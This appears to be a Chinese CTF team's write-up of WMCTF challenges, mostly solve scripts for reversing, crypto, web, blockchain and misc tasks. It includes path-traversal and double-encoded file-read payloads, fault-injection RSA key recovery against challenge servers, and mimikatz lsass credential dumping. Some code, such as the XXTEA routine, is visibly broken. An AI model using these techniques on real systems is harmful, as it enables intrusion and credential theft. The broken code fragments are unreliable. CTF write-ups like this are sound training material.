c,0xf3,0x9a
};
//在一行上进位移
void rotWord(unsigned char temp[]) {
int i,k=temp[0];
for(i=1;i<4;i++)
temp[i-1]=temp[i];
temp[3]=k;
}
//在一行上进行s盒替换
void subWord(unsigned char temp[]) {
int i;
for(i=0;i<4;i++)
temp[i]=SBOX[temp[i]];
}
//密钥扩展,最终得到Nr+1个轮密钥,用于轮次加密
void keyExpansion(){
int i,j;
unsigned char temp[5];
memset(RoundKey,0,sizeof(RoundKey));
for(i=0;i<Nk;i++){
for(j=0;j<4;j++){
RoundKey[i*4+j]=Key[i*4+j];
}
}
while(i<(Nb*(Nr+1))){
for(j=0;j<4;j++){
temp[j]=RoundKey[(i-1)*4+j];
}
if(i%Nk==0){
rotWord(temp);
subWord(temp);
temp[0]^=Rcon[i/Nk];
}
for(j=0;j<4;j++)
RoundKey[i*4+j]=RoundKey[(i-Nk)*4+j]^temp[j];
i++;
}
}
//轮密钥加函数,将明文加密状态与轮密钥简单异或
void addRoundKey(int round){
int i,j;
for(i=0;i<4;i++){
for(j=0;j<4;j++){
state[i][j]^=RoundKey[round*Nb*4+i*Nb+j];
}
}
}
//s盒替换函数
void subBytes(){
int i,j;
for(i=0;i<4;i++){
for(j=0;j<4;j++){
state[i][j]=SBOX[state[i][j]];
}
}
}
//逆s盒替换函数
void invSubBytes(){
int i,j;
for(i=0;i<4;i++){
for(j=0;j<4;j++){
state[i][j]=R_SBOX[state[i][j]];
}
}
}
//行位移函数
void shiftRows(){
int i,j,k;
int shiftnum=1;
unsigned char tmp;
for(j=1;j<4;j++){
for(i=0;i<shiftnum;i++){
tmp=state[0][j];
for(k=0;k<3;k++)
state[k][j]=state[k+1][j];
state[3][j]=tmp;
}
shiftnum++;
}
}
//逆行位移函数
void invShiftRows(){
int i,j,k;
int shiftnum=1;
unsigned char tmp;
for(j=1;j<4;j++){
for(i=0;i<shiftnum;i++){
tmp=state[3][j];
for(k=3;k>0;k--)
state[k][j]=state[k-1][j];
state[0][j]=tmp;
}
shiftnum++;
}
}
//列混淆函数
void mixColumns(){
int i,j;
unsigned char tmp,t,p;
for(i=0;i<4;i++){
p=state[i][0];
tmp=state[i][0]^state[i][1]^state[i][2]^state[i][3];
for(j=0;j<3;j++){
t=state[i][j]^state[i][j+1];
t=xtime(t);
state[i][j]^=t^tmp;
}
t=state[i][3]^p;t=xtime(t);state[i][3]^=t^tmp;
}
}
//逆列混淆函数
void invMixColumns(){
int i;
unsigned char a,b,c,d;
for( i=0; i<4; i++)
{
a = state[i][0];
b = state[i][1];
c = state[i][2];
d = state[i][3];
state[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
state[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
state[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
state[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
}
}
//aes加密函数,key为密钥,input为需要加密的128位明文,output为输出128位密文
void aes_enc(unsigned char*key,unsigned char *input,unsigned char*output){
int i,j,round=0;
memset(Key,0,sizeof(Key));
for(i=0;i<Nk*4;i++){
Key[i]=key[i];
}
keyExpansion();
memset(state,0,sizeof(state));
for(i=0;i<4;i++){
for(j=0;j<4;j++)
state[i][j]=input[i*4+j];
}
addRoundKey(0);
for(round=1;round<Nr;round++){
subBytes();
shiftRows();
mixColumns();
addRoundKey(round);
}
subBytes();
shiftRows();
addRoundKey(Nr);
for(i=0;i<4;i++){
for(j=0;j<4;j++)
output[i*4+j]=state[i][j];
}
}
//aes解密函数,key为密钥,input为需要解密的128位密文,output为输出128位明文
void aes_dec(unsigned char*key,unsigned char*input,unsigned char*output){
int i,j,round=0;
memset(Key,0,sizeof(Key));
for(i=0;i<Nk*4;i++){
Key[i]=key[i];
}
keyExpansion();
memset(state,0,sizeof(state));
for(i=0;i<4;i++){
for(j=0;j<4;j++)
state[i][j]=input[i*4+j];
}
addRoundKey(Nr);
for(round=Nr-1;round>0;round--){
invSubBytes();
invShiftRows();
addRoundKey(round);
invMixColumns();
}
invSubBytes();
invShiftRows();
addRoundKey(0);
for(i=0;i<4;i++){
for(j=0;j<4;j++)
output[i*4+j]=state[i][j];
}
}
void gets_t(unsigned char*str){
char fin_input;
scanf("%66s",str);
do
fin_input=getchar();
while(fin_input!='n');
}
int main(){
unsigned char key[17]={82,101,95,49,115,95,101,97,83,121,49,50,51,52,53,54};
unsigned char input[17]="1111222233334444";
unsigned char enc[17]={43,200,32,139,92,13,167,155,42,81,58,210,113,113,202,80,};
unsigned char dec[17]={0};
printf("enc-----n");
//aes_enc(key,input,enc);
for(int i=0;i<16;i++)
{
// printf("0x%x,",enc[i]);
}
printf("dec-----n");
aes_dec(key,enc,dec);
for(int i=0;i<16;i++)
{
printf("%c",dec[i]);
}
return 0;
}
02
RightBack
python代码中有很多的花指令
但是都是同一种形式的
写个脚本替换为NOP指令就可以
fd = open("RightBack.pyc","rb").read()
indexs = []
buf = bytearray(fd)
search_pattern = b'x6ex00x6ex04'
index = fd.find(search_pattern)
while index != -1:
indexs.append(index)
index = fd.find(search_pattern, index + len(search_pattern))
for i in indexs:
buf[i:i+8] = bytes([9,0,9,0,9,0,9,0])
search_pattern = b'x6ex02'
index = fd.find(search_pattern)
indexs = []
while index != -1:
indexs.append(index)
index = fd.find(search_pattern, index + len(search_pattern))
for i in indexs:
buf[i:i+4] = bytes([9,0,9,0,])
buf = bytes(buf)
import marshal
sample =marshal.loads(buf[16:])
import dis
try:
dis.dis(sample)
except:
pass
open("dump.pyc","wb").write(buf)
然后反编译成功后VM 的while循环结构有些问题
根据具体字节码逆向出来
然后使用z3约束求解就可以
key=[1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789, 546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]
def enc(cin1,cin2,key):
cnt = 0
eax = cin1
ebx = cin2
ecx = 0
eax+=key[ecx]
eax&=0xffffffff
ecx = 1
ebx+=key[ecx]
ebx&=0xffffffff
while(1):
cnt+=1
eax^=ebx
ecx = eax
r8 = ebx
ebx &= 31
eax<<=ebx
eax&=0xffffffff
edx = 32 - ebx
ecx>>=edx
eax |=ecx
eax+=key[cnt*2]
eax&=0xffffffff
##########
ebx = r8
ebx^=eax
ecx = ebx
edx = eax
edx &=31
ebx<<=edx
r8 = 32-edx
ecx>>=r8
ebx|=ecx
ebx+=key[2*cnt+1]
ebx&=0xffffffff
if(cnt==21):
break
return eax,ebx
from Crypto.Util.number import *
out1,out2= enc(825307441,825307441,key)
print(out1,out2)
mmm=[70971958, 1454480124, 4145947100, 3683618452, 1295312797, 2622622830, 4227519997, 855210028, 3149806017, 3649402294, 687393912, 2766439826, 247296709, 2944897322, 2347888534, 375443730]
from z3 import *
S = Solver()
x = [BitVec("x[%d]"%i,33) for i in range(16)]
dec = [0]*16
for i in range(8):
if(i>0):
x[2*i] ^= mmm[2*i-2]
x[2*i+1] ^= mmm[2*i-2+1]
dec[2*i],dec[2*i+1] = enc(x[i*2],x[i*2+1],key)
for i in range(16):
S.add(dec[i]==mmm[i])
#1633771874 1633771873
#,
S.check()
ans = S.model()
print(ans)
x[4] = 1730238768
x[13] = 829583920
x[10] = 1667974770
x[15] = 1461789053
x[9] = 1752449633
x[14] = 1914787663
x[8] = 559049063
x[2] = 811877750
x[7] = 812462881
x[0] = 1464681300
x[12] = 1633905485
x[11] = 1869431345
x[6] = 1098343795
x[1] = 1182484272
x[5] = 1967223397
x[3] = 862873966
for i in x:
print(long_to_bytes(i))
03
gohunt
动态调试程序
发现程序首先对输入的字符串进行填补
并进行XXTEA加密
加密后与一个字符串进行异或
加密过后转换为大段序
进行大整数除法 除0x3A 余数作为索引输出
逆向即可
cin = "0000111122223333444455556666777788889999"
xor_data=[ 0x4E, 0x50, 0x57, 0x72, 0x70, 0x64, 0x31, 0x43, 0x45, 0x4A,
0x48, 0x32, 0x51, 0x63, 0x4A, 0x33]
after = [ 0x46, 0x93, 0x1D, 0xE3, 0xE2, 0x98, 0x7C, 0x7A, 0xF1, 0x98,
0x48, 0xC1, 0x5C, 0xB1, 0xFB, 0xA4, 0x53, 0xD3, 0x24, 0x34,
0x37, 0x15, 0xE7, 0x14, 0x46, 0x9A, 0x83, 0xDA, 0x3A, 0x23,
0x8E, 0x20, 0x31, 0x7F, 0x63, 0xF7, 0x91, 0xE2, 0x39, 0xBA,
0xE1, 0x32, 0x61, 0x28]
def hex2number(cin):
return int(cin,16)
def little(cin):
tmp = bytes.fromhex(cin)[::-1].hex()
return int(tmp,16)
t1 = "286132E1BA39E291F7637F31208E233ADA839A4614E715373424D353A4FBB15CC14898F17A7C98E2"
m1 = little(t1)//0x3a
print(hex(m1))
data=0x1A7B9611A7B9611A
table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"
"""
f3 20 41 10 cb 56 8c 5c 09 0c 72 fd d9 d7 54 00 7c d7 b0 09 f1 44 5f 7f e0 75 db 76 71 41 fe a0 f0 24 71 d6 60 01 14 42 69 37 04 8c 19
67 02 01 de 49 90 50 40 18 58 71 c9 c0 3a bf 04 59 dd 6d 71 f8 ff d1 51 c6 70 2c 5f 31 c0 51 d7 76 f4 b1 c3 27 01 63 5a d3 04 04 1c bc
"""
table = "nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj"
out = "YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3"
cin = 0x36ABB52338C8FC69
result = 0xF14E2854D753CC
yu = 0x31
#
# print(table[cin])
tmp1 = out
sum = 0
for i in tmp1:
yu = table.index(i)
if(sum == 0):
sum +=yu
else:
sum = sum*0x3a+yu
print(hex(sum))
cin=bytes.fromhex("db27eeea98b6a74f5ea68eb2a763006b50f6ddc32b2649f0bbfe014080a770f679b0cd8d2006fd4fd548262e")
arr=[cin[i]^xor_data[i%len(xor_data)] for i in range(len(cin))]
import struct
arr_bytes= bytes(arr)
print(len(arr_bytes))
enc =[struct.unpack('<I
print(enc)
xxtea解密
long btea(long* v, long n, long* k) {
unsigned long z=v[n-1], y=v[0], sum=0, e, DELTA=0x9e3779b9;
long p, q ;
if (n > 1) { /* Coding Part */
q = 6 + 52/n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++) y = v
, z = v
+= MX;
y = v[0];
z = v[n-1] += MX;
}
return 0 ;
} else if (n < -1) { /* Decoding Part */
n = -n;
q = 6 + 52/n;
sum = q*DELTA ;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--) z = v
, y = v
-= MX;
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}
void main() {
long n = 10;
unsigned long k[4] = {0x32544D46, 0x4845435A, 0x63703653, 0x52324466};
unsigned int cin[20]={ 2562291605, 211210984, 2160520219, 1481244918, 2978653726, 3011002971, 1917433086, 3308963025, 4288340023, 214721104, 476971664};
btea(cin,-11,k);
printf("%s",cin);
}
BlockChain
01
babyblock
remix测试一下,发现要猜的数字很小
而且很容易就猜对,但是禁用了metamask
让gpt生成一个脚本直接打
from web3 import Web3
# 连接到以太坊节点的 RPC URL
rpc_url = "http://43.132.224.5:8545/" # 替换为实际的 RPC URL
web3 = Web3(Web3.HTTPProvider(rpc_url))
# 合约地址和 ABI
contract_address = "0x62c35b7c06606928d6fF716C3D21C07D75617FA8" # 替换为实际的合约地址
contract_abi ="""
[
{
"inputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"constant": false,
"inputs": [
{
"internalType": "uint256",
"name": "_num",
"type": "uint256"
}
],
"name": "guessNumber",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "secretNumber",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "solved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
}
]
"""
# 获取合约实例
contract = web3.eth.contract(address=contract_address, abi=contract_abi)
# 调用合约的 guessNumber 方法
num_to_guess = 6 # 替换为你想要猜测的数字
transaction = contract.functions.guessNumber(num_to_guess).buildTransaction({
'nonce':1,
'from': '0xceb32Ad69ed0C565FEac192DfcAAfCd67279360e', # 替换为你自己的以太坊账户地址
'gas': 200000, # 替换为适当的 gas 数量
'gasPrice': web3.toWei('1000000007', 'wei') # 替换为适当的 gas 价格
})
# 签名交易
private_key = "7078eb49a5672f7b5b7826124292879477981fe6787001553aab40e00370fee4" # 替换为你自己的以太坊账户私钥
signed_txn = web3.eth.account.signTransaction(transaction, private_key)
# 发送签名后的交易并获取交易哈希
tx_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction)
tx_receipt = web3.eth.waitForTransactionReceipt(tx_hash)
# 检查交易是否成功被确认
if tx_receipt['status'] == 1:
print("Transaction successful!")
else:
print("Transaction failed.")
WEB
01
AnyFileRead
import requests
r = requests.get(url="http://43.132.224.5:8888/admin/.//%2e./%2e./flag")
print(r.text)
02
ez_java_agagin
进入页面
啥功能都没,扫也没扫出来什么
查看源码
两个url参数,第一个url只能读图片
第二个没有java后缀或者有flag这个字符均会被过滤
最后是使用伪协议直接读,二次编码绕过过滤
?url1=file:///fla%2567%23java
CRYPTO
01
signin
-
深度搜索+剪枝恢复p
-
格
import gmpy2
from Pwn4Sage.pwn import *
from Crypto.Util.number import *
from factordb.factordb import FactorDB
sys.setrecursionlimit(5000)
def findp(p, q):
global PP
if len(p) == 512:
pp = int(p, 2)
if N % pp == 0:
PP = pp
print(pp)
print(N // pp)
raise
else:
l = len(p)
pp = int(p, 2)
qq = int(q, 2)
if (pp ^^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):
findp('1' + p, '1' + q)
findp('1' + p, '0' + q)
findp('0' + p, '1' + q)
findp('0' + p, '0' + q)
while True:
sh = remote('1.13.101.243', 26040)
sh.recvuntil(b""".`^","^`'.""")
sh.recvline()
sh.recvline()
N = int(sh.recvline())
gift = int(sh.recvline())
print(N)
print(gift)
PP = 0
for q_low in range(2**16+1, 2 ** 17):
try:
findp('1', bin(q_low)[2:])
except:
break
p = PP
if p:
print('find p: ', p)
sh.sendline(str(p).encode())
q = p
A = eval(sh.recvline())
b = eval(sh.recvline())
print(A)
print(b)
LEN = len(b)
M = matrix(LEN+2, LEN+2)
INV = inverse_mod(2^16, q)
AA = [(i*INV)%q for i in A]
BB = [(i*INV)%q for i in b]
for i in range(LEN):
M[0, i+2] = AA[i]
M[1, i+2] = BB[i]
M[i+2, i+2] = q
M[0, 0] = 1
M[1, 1] = 2^511
t = 16
Q = diagonal_matrix([1,2^17]+[2^t for _ in range(LEN)])
M_ = M*Q
M_ = M_.LLL()
M_ = M_/Q
for line in M_:
if abs(line[1]) == 2^511:
m = abs(line[0])
results = [(bi * m) % q for bi in A]
rs = [ri & (2 ** 16 - 1) for ri in results]
print(rs)
print(m)
if rs == b:
print('yes')
print('yes')
print('yes')
print(m)
sh.sendline(str(m).encode())
sh.interactive()
02
welcomesigner2
-
从后往前递推,利用每次$A_i mod n$与 $A_i mod n_$ 是否一致来逐位确定d
因为不知道d长度,所以需要猜。
故脚本需要多次运行,才可能得解
import gmpy2
from pwn import *
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Util.number import *
sh = remote("1.13.101.243", 27812)
sh.sendlineafter(b'[Q]uit', b'g')
n = int(sh.recvline_contains(b'n =').split(b'n = ')[-1])
enc = sh.recvline_contains(b'flag_ciphertext =').split(b'flag_ciphertext =')[-1]
print(enc)
enc = bytes.fromhex(enc.decode())
sh.sendlineafter(b'[Q]uit', b's')
sh.sendlineafter(b'Where your want to interfere:', b'1')
sig = int(sh.recvline().split(b'is ')[-1])
def find_prime_n_(n):
for index in range(1024):
for temp in range(256):
assert 0<= int(temp) <=255
assert 0<= int(index) <= 1023
n_ = n ^ (int(temp)<<int(index))
if gmpy2.is_prime(n_) and n_ > n:
b_i = f"{temp},{index}"
print('[+] find prime n_')
print(b_i)
return b_i
b_i = find_prime_n_(n)
sh.sendlineafter(b'[Q]uit', b'f')
sh.sendlineafter(b'bytes, and index:', b_i.encode())
n_ = int(sh.recvline().split(b'"')[1])
d = '1'
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
BS = [msg]
d_len = 1022
for i in range(d_len-1):
BS.append(BS[-1]**2 % n)
for index in range(2, d_len):
sh.sendlineafter(b'[Q]uit', b's')
sh.sendlineafter(b'Where your want to interfere:', str(index).encode())
A = sig
tmp_A = int(sh.recvline().split(b'is ')[-1])
tmp_BS = [_ for _ in BS[:d_len-index]]
for _ in range(index):
tmp_BS.append(tmp_BS[-1]**2%n_)
assert len(tmp_BS) == d_len
for i in range(len(d)):
if int(d[i]):
tmp_A = (tmp_A * gmpy2.invert(tmp_BS[d_len-1-i], n_)) % n_
A = (A * gmpy2.invert(BS[d_len-1 - i], n)) % n
d += str(int(A != tmp_A))
print('[+] d =', d)
d最低位为1
from hashlib import md5
from Crypto.Cipher import AES
def decrypt(enc,key):
key = bytes.fromhex(md5(str(key).encode()).hexdigest())
dec = AES.new(key,mode=AES.MODE_ECB)
m = dec.decrypt(enc)
return m
enc = ' 11964df59bb0dcf71595524dc0808dd6774d105c36c6a7b7fb6086c60c98a7cc8b5d10f2b81e7ea07d622a4b38af800d'
enc = bytes.fromhex(enc)
d = '1111101010101101001100010011000101011110110111010000011100001001100011111000010001010111010000101110011111000111000001000100010111111011000111111011000010110101011100101011110111000111111100011110010011111100100100111011001110011011011010000100110000010111101010010101110001001000000011001100111111110100011001100010101011111001001000101000001010101011100100010000011000000011001100111100001010110110101010000011100001011010000110110101101001011011100001000000110100101111101001000010011010111111000011101001110111010110110001001011000101001000111101011101100010000101010100010011010101111111111100100110000111110100001000000010111011000001000010001111000100011110111101101010001010101010101001100000000110110100110110010101111010011011010111000111101001001100001111000011100110000000001100011010100101000100101110100110101001011100101001101011110000001111010101001100001011100000111101001000100110110011001101010001001100011101101001011011001101001010101001011001001111011001011010100111111110110011111001010101101000000'
print(decrypt(enc, int(d+'1', 2))) # WMCTF{F4u1t_1nj3ct1on_1n_RS4*&iu2726457}
03
badprime
根据题目信息将M输入进去
输进去后可以获得p_leak
p=p_leak+k*M
经过观察可以发现,k_bit非常小
可以通过一元copper进行攻击
# @File : exp.py
M=
p_leak=
c=
n=
P.<k>=PolynomialRing(Zmod(n))
f=x+k*M
k=f.monic().small_roots(X=2**54,beta=0.4)[0]
p=k*M+p_leak
q=n//ZZ(p)
e=65537
d=inverse_mod(e,(p-1)*(q-1))
m=hex(pow(c,d,n))[2:]
print(bytes.fromhex(m))
04
welcome_signer1
中国剩余定理的运用
代码跑的很久,得跑几十分钟
from pwn import *
from functools import reduce
import gmpy2
from Crypto.Util.number import *
from tqdm import *
def le(c,p):
t=pow(c,(p-1)//2,p)
if t==1:
return True
else:return False
def quadratic_residues(_c, _p):
return pow(_c, (_p + 1) // 4, _p)
def find_prime_n_(n):
for index in range(1024):
for temp in range(256):
assert 0<= int(temp) <=255
assert 0<= int(index) <= 1023
n_ = n ^ (int(temp)<<int(index))
if gmpy2.is_prime(n_) and n_ > n and n_%4==3:
b_i = f"{temp},{index}"
print('[+] find prime n_')
print(b_i)
return b_i
def chinese_remainder(n, a):#前面是模
sum = 0
prod = reduce(lambda a, b: a * b, n)
for n_i, a_i in zip(n, a):
p = prod // n_i
sum += a_i * gmpy2.invert(p, n_i) * p
return int(sum % prod)
msg = bytes_to_long(b"Welcome_come_to_WMCTF")
def solve(A,A1,n,n1,d):
for i in range(len(d)):
if d[i]=='1':
A1 = A1 * msgn1 % n1
A1=quadratic_residues(A1,n1)
if le(A1,n1)==False:A1=n-A1
A1_=A1*msgn1%n1
A_ = A * msgn % n
A2=chinese_remainder([n,n1],[A_,A1_])
for i in range(12):
tmp=gmpy2.iroot(A2+i*n*n1,2)
if tmp[1]==True:
A=tmp[0]
return A,d+'1'
A2=chinese_remainder([n,n1],[A,A1])
for i in range(12):
tmp=gmpy2.iroot(A2+i*n*n1,2)
if tmp[1]==True:
A=tmp[0]
return A,d+'0'
r=remote("1.13.101.243",25333)
r.recvuntil(b"| [Q]uitn")
r.sendline(b"g")
N=eval(r.recvline()[6:].strip().decode())
print(N.bit_length())
enc_flag=r.recvline()[20:].strip().decode()
b_=find_prime_n_(N)
r.recvuntil(b"| [Q]uitn")
r.sendline(b"s")
r.sendlineafter(b"Where your want to interfere:",b'0')
A=eval(r.recvline()[42:].strip().decode())
print("A获取完成")
r.recvuntil(b"| [Q]uitn")
r.sendline(b"f")
r.sendlineafter(b"bytes, and index:",b_.encode())
N_=eval(r.recvline()[21:].strip().decode()[:-1])
msgn1=inverse(msg, N_)
msgn=inverse(msg, N)
assert isPrime(N_)
print("前序工作完成")
d=''
for i in trange(0,1023):
r.recvuntil(b"| [Q]uitn")
r.sendline(b"s")
index=i+1
r.sendlineafter(b"Where your want to interfere:",str(index).encode())
A1=eval(r.recvline()[42:].strip().decode())
A,d=solve(A,A1,N,N_,d)
if i>1000:
print(d)
print(enc_flag)
r.interactive()
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import md5
import itertools
def decrypt(message,key):
key = bytes.fromhex(md5(str(key).encode()).hexdigest())
enc = AES.new(key,mode=AES.MODE_ECB)
c = enc.decrypt(message)
return c
d=''
key=int(d[::-1],2)
m=bytes.fromhex("")
flag=decrypt(m,key)
print(flag)
MISC
01
oversharing
文件中有lsass.DMP
使用 mimikatz 进行提取用户密码
导出 lsass.DMP 修改文件名为 lsass.dmp
并使用 mimikatz x64 载入
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords full
获得 ssh 的用户名与密码
* Domain : ssh@192.168.20.202:22/randark
* Password : 1a05cf83-e450-4fbf-a2a8-b9fd2bd37d4e
cat flag
WMCTF{9f1690f4-7b41-429f-a243-505997079997}
02
Fantastic terminal
非预期解,在 out.warms 中读取flag
WMCTF{fanta3t1c_term1nal_1n_the_c0nta1ner_1n_the_br0w3er}
03
Fantastic terminal Rev
此题修复了之前的可以直接从 out.warms 读取flag
docker build -t wmctf .
docker run -it wmctf
启动终端后
cd challenge
base64 challenge
因为要获取challenge这个文件,但是直接cat字符编码是错误的,最好是将源文件可以完整保存下来
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAYBEAAAAAAABAAAAAAAAAAEAxAAAAAAAAAAAAAE
...
...
AAAAAAAAAAAAAAAAAA==
base64 解码后将 challenge 在IDA中进行反编译
动态调试获得flag

WMCTF{r3venge_terminal_after_fuck1ng_paatchhhhhhhhhhhhh}
04
find me
https://www.reddit.com/user/WearyMeadow/comments/15u7773/hello/
https://ufile.io/670unszp
根据提示拿到加密流量。
根据出题人的id搜到github
拿这个密码登录即可
给了个服务端和客户端交互的加密通信脚本
自己根据加密逻辑来解密
加密逻辑:
def encrypt(message, key):
seed = random.randint(0,11451)
random.seed(seed)
encrypted = b''
for i in range(len(message)):
encrypted += bytes([message[i] ^ random.randint(0, 255)])
cipher = AES.new(key, AES.MODE_ECB)
encrypted = cipher.encrypt(pad(encrypted))
return encrypted
首先这里有个seed 随机0-11451
重点是下面异或加密字符串时候每个字符都是不同的异或key,随机0-255
但是用到了seed,如果seed值知道的话,那么异或key是固定的顺序和值根据这个逻辑就清楚了我们需要遍历所有的seed 0-11451,拿到所有的异或key的序列
(但其实是拿不到所有的,因为加密字符串长度不同,异或key的值也不同,所以需要知道加密字符串的长度)
解密脚本
import socket
import random
from Crypto.Cipher import AES
from sys import argv
def pad(s):
return s + b"" * (AES.block_size - len(s) % AES.block_size)
all_list = [] #所有异或key序列
for seed in range(0,11451): #遍历seed值来记录固定长度下所有异或key的序列
random.seed(seed)
list1 = []
for i in range(48): #这里的值是加密字符的长度
a = random.randint(0, 255)
list1.append(a)
all_list.append(list1)
key = pad(b'mysecretkey')
cip = '''778f6cc13090c6a4f0b51939d784a6b38512f80a92b82bf8225fb8bfed713b2f8eee53dfbe228c7296449d904467a1677c83b9534e2dfcfcbc6f7b08f77f96f2
'''
for j in range(0,11451): #遍历不同seed值的不同异或key
print(j)
use_list = all_list[j]
def decrypt(ciphertext, key):
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
decrypted = decrypted.rstrip(b"")
decrypted = bytes([decrypted[i] ^ use_list[i] for i in range(len(decrypted))]) #对应异或解密
return decrypted
re = decrypt(bytes.fromhex(cip), key)
print(re)
这里的加密字符串长度如何知道? 脚本中先输出
bytes.fromhex(cip)
print(len(decrypted))
每次通讯需要分别解密
文末:
欢迎师傅们加入我们:
星盟安全团队纳新群1:222328705
星盟安全团队纳新群2:346014666
有兴趣的师傅欢迎一起来讨论!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论